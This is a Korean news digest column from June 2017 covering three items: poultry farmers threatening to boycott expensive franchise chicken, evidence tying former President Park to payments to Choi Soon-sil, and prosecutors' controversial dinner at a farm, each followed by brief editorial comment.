대형 치킨 프랜차이즈들이 가격을 올려 소비가 더욱 위축되고 있다는 판단때문.연합뉴스 보도.대한양계협회는 12일 농림축산식품부 기자단을 대상으로 간담회를 열고 치킨 한 마리당 2만원 이상인 비싼 치킨에 대해 불매운동을 벌이겠다고 밝혀.양계협회 관계자는 “치킨 프랜차이즈에 공급되는 닭고기 가격은 연중 동일하기 때문에 AI 때문에 가격을 올린다는 것은 말이 안 된다”며 “원가와 상관없이 지나치게 가격을 올리는 업체에 대해서는 불매운동을 하겠다”고 말해.양계협회는 불매운동 대상의 기준으로 ‘치킨 한 마리당 2만원’을 제시한 이유에 대해서는 닭고기 유통 원가와 부대비용, 인건비 등을 감안했을 때 마리당 2만원은 폭리에 가깝다는 판단 때문이라고 설명.오죽하면 양계장하는 사람들이 나서 치킨값 인상을 반대할까. 양계업자와 점주들을 호구로 만드는 프랜차이즈 본사들 반성하기를….-“전화번호까지 건네며”…박 전 대통령, 최순실 뇌물 직접 개입 정황검찰이 안종범 전 청와대 경제수석의 또 다른 수첩 7권을 확보한 가운데 수첩에 박 전 대통령이 최씨의 독일 계좌에 거액이 송금되는데 직접적으로 개입한 정황이 고스란히 담겨 있는 것으로 알려져.MBN 보도.2015년 9월 13일로 표기된 안종범 전 수석의 수첩을 보면 박근혜 전 대통령이 안 전 수석에게 알려줬다는 이상화라는 이름과 국제전화 번호가 적혀 있어.검찰이 확인한 결과, ‘001-49-173-851’로 시작하는 번호의 주인은 당시 KEB하나은행의 독일 프랑크푸르트 지점장 이상화 씨로 파악돼.이상화 씨는 최순실 씨의 ‘독일 금고지기’로 알려진 인물.대통령이 일개 은행 현지 지점장의 이름과 전화번호까지 알고 청와대 참모에게 불러준 것.최순실 씨는 박 전 대통령이 이름을 건넨 바로 다음 날인 14일 10억 8000만원을 시작으로 1년 동안 78억 9000여만원을 받아.그동안 박 전 대통령은 “최 씨가 독일에서 돈을 받은 것도 나중에 알았다”고 주장해왔지만 최씨가 돈을 받는 과정에서 박 전대통령이 관여한 유력한 증거가 나와 새로운 국면 진입.빼박캔트(빼도박도 못한다)급 증거. 이러고도 계속 부인으로 일관할지. 그러면 형량이 더 무거워질텐데….-‘돈봉투 만찬’에 이어 ‘농장 바비큐’ 파티 벌인 검찰이영렬 전 서울중앙지검장과 안태근 전 법무부 검찰국장의 이른바 ‘돈봉투 만찬’이 큰 물의를 빚은 가운데 경남의 모 검찰지청에서 검사들이 지역 유지들과 부적절한 만찬을 가져 구설.쿠키뉴스 보도.창원지방검찰청 모 지청의 검사 10명은 지난달 18일 저녁 경남 사천시 곤양면의 한 농장에서 범죄피해자지원센터(이하 범피센터) 소속 위원들과 저녁식사를 겸한 술자리를 가져.이 자리에는 지청 검사 중 당직자 1명을 제외하고 A 지청장을 포함해 부장검사 등 검사 10명, 검찰 직원 5명 등 총 15명이 참석.범피센터에서는 B 이사장과 4개 분과위원회 위원장 등 임원, 사법보좌인위원회 위원 등 20여명이 참석.부적절성 소지가 되고 있는 건 만찬이 열린 곳이 바로 사법보좌인위원회의 C 위원장이 운영하는 조경회사의 농장이라는 것.이곳은 근처에 주택이 없는데다 인적이 없는 야산에 위치해 있고, 일반도로가 아닌 비포장도로로 들어가야 찾을 수 있는 장소로 간담회를 가지기에는 적절치 못하다는 논란 소지 있어.비용 확인 결과 A 지청장이 업무추진비 50만원을 현금으로 범피센터에 지급했고, 이 돈은 센터에서 C 위원장에게 전달된 것으로 확인돼. 또 B 이사장이 개인적으로 30만원을 부담한 것으로 파악돼.A 지청장은 “범피센터에서 제안이 왔길래 검찰 업무를 도와주는 분들이라 임원진, 분과위원장, 운영위원들과 간담회를 한 것이다. 업무보고, 애로사항 청취, 또 검사들과 상견례를 하는 공식적인 간담회 자리였다”며 “한 달 전에 정한 일정이라 굳이 연기해야 한다는 생각은 못했다”고 해명.청탁금지법 위반 여부과 관련 국민권익위원회 관계자는 “이 간담회가 친교의 목적도 있었던 만큼 만찬의 정확한 성격과 함께 실제 음식값이 어떻게 지출됐는지 확인할 필요가 있다”고 밝혀.오이밭에서 갓끈 매지말라는 속담도 있는데 자중해야할 시기에 의심받을 짓을…. 검찰이 제정신 차리지 못한 모양.
2017.06.13 I 김일중 기자
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